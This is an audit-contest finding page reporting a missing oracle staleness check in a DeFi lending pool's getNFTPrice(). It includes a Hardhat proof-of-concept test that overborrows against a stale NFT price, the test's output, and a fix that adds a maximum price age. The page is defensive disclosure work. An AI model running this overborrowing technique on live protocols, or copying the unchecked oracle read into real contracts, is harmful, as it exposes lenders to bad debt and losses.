Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Oracle staleness check missing in getNFTPrice() allows users to borrow against outdated collateral values in LindingPool.sol

Summary

The LendingPool contract has a critical vulnerability where it fails to validate oracle price staleness, allowing users to exploit outdated prices for overborrowing.

Vulnerability Details

In LendingPool.sol, the getNFTPrice() function retrieves price data but doesn't validate the lastUpdateTimestamp:

function getNFTPrice(uint256 tokenId) public view returns (uint256) {
(uint256 price, uint256 lastUpdateTimestamp) = priceOracle.getLatestPrice(tokenId);
if (price == 0) revert InvalidNFTPrice();
return price;
}

This price is used in critical functions like borrow(), withdrawNFT(), and calculateHealthFactor().

PoC

describe("Oracle Staleness Vulnerability", function () {
let owner, user1, user2;
let crvusd, raacNFT, raacHousePrices, lendingPool, rToken, debtToken;
beforeEach(async function () {
[owner, user1, user2] = await ethers.getSigners();
// Deploy core contracts with same setup as original test
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
// Setup permissions
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
// Setup initial balances
await crvusd.mint(user1.address, ethers.parseEther("1000"));
await crvusd.mint(user2.address, ethers.parseEther("1000"));
await crvusd.connect(user1).approve(lendingPool.target, ethers.parseEther("1000"));
await crvusd.connect(user2).approve(lendingPool.target, ethers.parseEther("1000"));
// Setup oracle and mint NFT
await raacHousePrices.setOracle(owner.address);
await raacHousePrices.setHousePrice(1, ethers.parseEther("100"));
const tokenId = 1;
await crvusd.mint(user1.address, ethers.parseEther("100"));
await crvusd.connect(user1).approve(raacNFT.target, ethers.parseEther("100"));
await raacNFT.connect(user1).mint(tokenId, ethers.parseEther("100"));
// Setup initial liquidity
await lendingPool.connect(user2).deposit(ethers.parseEther("1000"));
});
it("should exploit stale oracle prices to overborrow", async function () {
// 1. Initial NFT deposit
await raacNFT.connect(user1).approve(lendingPool.target, 1);
await lendingPool.connect(user1).depositNFT(1);
const initialBalance = await crvusd.balanceOf(user1.address);
const initialHealth = await lendingPool.calculateHealthFactor(user1.address);
// 2. Move time forward 7 days to simulate stale price
await ethers.provider.send("evm_increaseTime", [7 * 24 * 60 * 60]);
await ethers.provider.send("evm_mine", []);
// 3. Over-borrow against stale price
const overBorrowAmount = ethers.parseEther("70");
await lendingPool.connect(user1).borrow(overBorrowAmount);
// 4. Verify over-borrow succeeded
const finalBalance = await crvusd.balanceOf(user1.address);
expect(finalBalance - initialBalance).to.equal(overBorrowAmount);
// 5. Update to real price (50% drop)
await raacHousePrices.setHousePrice(1, ethers.parseEther("50"));
// 6. Verify position is now undercollateralized
const finalHealth = await lendingPool.calculateHealthFactor(user1.address);
expect(finalHealth).to.be.lt(await lendingPool.healthFactorLiquidationThreshold());
console.log({
initialHealth: ethers.formatEther(initialHealth),
finalHealth: ethers.formatEther(finalHealth),
overBorrowAmount: ethers.formatEther(overBorrowAmount),
realCollateralValue: "50.0",
staleCollateralValue: "100.0"
});
});
});

Poc Results:

Oracle Staleness Vulnerability
{
initialHealth: '115792089237316195423570985008687907853269984665640564039457.584007913129639935',
finalHealth: '0.571428571428571428',
overBorrowAmount: '70.0',
realCollateralValue: '50.0',
staleCollateralValue: '100.0'
}
✔ should exploit stale oracle prices to overborrow (2537ms)
27 passing (4m)

Impact

Proof of Concept demonstrates:

  1. User deposits NFT when price = 100 crvUSD

  2. Price becomes stale (7 days old)

  3. Real value drops to 50 crvUSD

  4. User borrows 70 crvUSD against stale 100 crvUSD valuation

  5. Position becomes severely undercollateralized (health factor 0.57)

This allows:

  • Overborrowing against inflated stale prices

  • Creation of undercollateralized positions

  • Protocol insolvency risk through bad debt

Tools Used

Hardhat

Manual code review

Recommendations

Add maximum price age validation:

function getNFTPrice(uint256 tokenId) public view returns (uint256) {
(uint256 price, uint256 lastUpdateTimestamp) = priceOracle.getLatestPrice(tokenId);
if (price == 0) revert InvalidNFTPrice();
if (block.timestamp - lastUpdateTimestamp > MAX_PRICE_AGE) revert StalePrice();
return price;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::getNFTPrice or getPrimeRate doesn't validate timestamp staleness despite claiming to, allowing users to exploit outdated collateral values during price drops

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::getNFTPrice or getPrimeRate doesn't validate timestamp staleness despite claiming to, allowing users to exploit outdated collateral values during price drops

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.